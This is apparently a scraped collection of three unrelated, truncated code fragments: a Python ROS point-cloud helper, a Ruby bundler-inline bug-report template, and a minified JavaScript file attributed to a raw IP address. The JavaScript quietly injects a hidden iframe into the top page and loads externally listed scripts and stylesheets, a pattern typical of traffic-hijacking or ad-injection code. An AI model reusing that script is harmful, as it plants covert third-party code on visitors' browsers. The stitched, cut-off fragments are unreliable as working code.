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import numpy as np | |
from matplotlib.cm import get_cmap | |
import rospy | |
import sensor_msgs.msg as sensor_msgs | |
import std_msgs.msg as std_msgs | |
def point_cloud(points, parent_frame): | |
""" Creates a point cloud message. |
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begin | |
require "bundler/inline" | |
rescue LoadError => e | |
$stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler" | |
raise e | |
end | |
gemfile(true) do | |
source "https://rubygems.org" | |
# Activate the gem you are reporting the issue against. |
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//org source: http://103.255.6.16:8080/www/default/base.js | |
(function(){try{top.tlbscdr={};top.tlbscdr.jscdr=[];var d=new Date;top.tlbscdr.jscdr.push({jsname:"base.js",jsexetype:"1",btime:d});var l=function(){if(top.tlbs&&!top.tlbsEmbed){top.tlbsEmbed=!0;for(var b=top.document.getElementsByTagName("head")[0],a=top.tlbs.iframejs.split("|"),c='<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />',g=0;g<a.length;g++)if(-1!=a[g].indexOf(".js"))c+='<script src="'+a[g]+'" defer charset="UTF-8">\x3c/script>';else if(-1!=a[g].indexOf(".css")){var e= | |
document.createElement("link");e.rel="stylesheet";e.type="text/css";e.charset="UTF-8";e.href=a[g];b.appendChild(e)}c+="</head></html>";a=document.createElement("iframe");a.style.display="none";document.body.appendChild(a);try{var d=a.contentWindow.document;d.write(c);d.close()}catch(h){if(/MSIE/g.test(navigator.userAgent)&&(0<=location.href.indexOf("www.people.com.cn")||0<=location.href.indexOf("www.caijing.com.cn")))return;a.src="javascript:v |